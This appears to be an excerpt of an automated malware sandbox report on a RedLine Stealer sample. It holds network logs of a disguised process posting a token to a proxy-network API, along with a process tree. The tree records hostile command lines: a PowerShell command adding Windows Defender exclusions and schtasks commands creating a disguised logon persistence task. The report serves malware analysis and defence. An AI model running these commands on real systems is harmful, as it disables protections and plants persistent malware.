2022-11-24 12:29:20 UTC	52	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49927	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:20 UTC	52	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:20 UTC	52	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:20 UTC	52	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:20 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f2264daa60bb79-FRA
2022-11-24 12:29:20 UTC	52	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49930	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:21 UTC	53	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:21 UTC	53	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:21 UTC	53	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:21 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f2264f78fb90ac-FRA
2022-11-24 12:29:21 UTC	53	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49934	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:21 UTC	53	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:21 UTC	53	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:21 UTC	54	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:21 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f226514c5e5bdd-FRA
2022-11-24 12:29:21 UTC	54	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49938	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:21 UTC	54	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:21 UTC	54	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:21 UTC	54	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:21 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f226530afd92a8-FRA
2022-11-24 12:29:21 UTC	54	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49727	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:34 UTC	5	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:34 UTC	5	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:34 UTC	5	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:34 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f225294c8592b7-FRA
2022-11-24 12:28:34 UTC	6	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49941	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:21 UTC	55	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:21 UTC	55	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:22 UTC	55	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:22 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f22654be51923e-FRA
2022-11-24 12:29:22 UTC	55	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49944	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:29:22 UTC	55	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:29:22 UTC	55	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:29:22 UTC	56	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:29:22 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f226567f629223-FRA
2022-11-24 12:29:22 UTC	56	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49729	172.66.40.196	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 12:28:34 UTC	6	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 12:28:34 UTC	6	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 12:28:34 UTC	6	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 12:28:34 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f2252b08ef9000-FRA
2022-11-24 12:28:34 UTC	6	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 31 30 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.210", "port": 443, "peer_id": 239417018 }}

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: FKN6uh7y01.exePID: 6040, Parent PID: 3528

General

Target ID:	0
Start time:	13:27:03
Start date:	24/11/2022
Path:	C:\Users\user\Desktop\FKN6uh7y01.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\FKN6uh7y01.exe
Imagebase:	0x400000
File size:	302080 bytes
MD5 hash:	3923F1A139494556EE41DDE9B70ACC67
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.308285723.00000000006F2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.316020105.0000000000428000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.319091656.0000000000428000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6052, Parent PID: 6040

General

Target ID:	1
Start time:	13:27:03
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 46372, Parent PID: 6040

General

Target ID:	2
Start time:	13:27:07
Start date:	24/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0x170000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 46472, Parent PID: 6040

General

Target ID:	5
Start time:	13:27:14
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 41188
Imagebase:	0x1190000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: brave.exePID: 46932, Parent PID: 46372

General

Target ID:	6
Start time:	13:27:51
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\brave.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Google\brave.exe"
Imagebase:	0x7ff77bee0000
File size:	2884608 bytes
MD5 hash:	9253ED091D81E076A3037E12AF3DC871
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 85%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 46948, Parent PID: 46932

General

Target ID:	7
Start time:	13:27:52
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7c2af0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 46960, Parent PID: 46948

General

Target ID:	8
Start time:	13:27:52
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 46968, Parent PID: 46372

General

Target ID:	9
Start time:	13:27:52
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\ofg.exe"
Imagebase:	0xec0000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 10%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 47012, Parent PID: 46968

General

Target ID:	10
Start time:	13:27:52
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0x1130000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 47032, Parent PID: 47012

General

Target ID:	11
Start time:	13:27:53
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 5104, Parent PID: 1088

General

Target ID:	12
Start time:	13:27:54
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\ofg.exe
Imagebase:	0xec0000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5952, Parent PID: 46372

General

Target ID:	13
Start time:	13:27:54
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\chrome.exe"
Imagebase:	0xd30000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 3156, Parent PID: 5104

General

Target ID:	14
Start time:	13:27:55
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0x1130000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
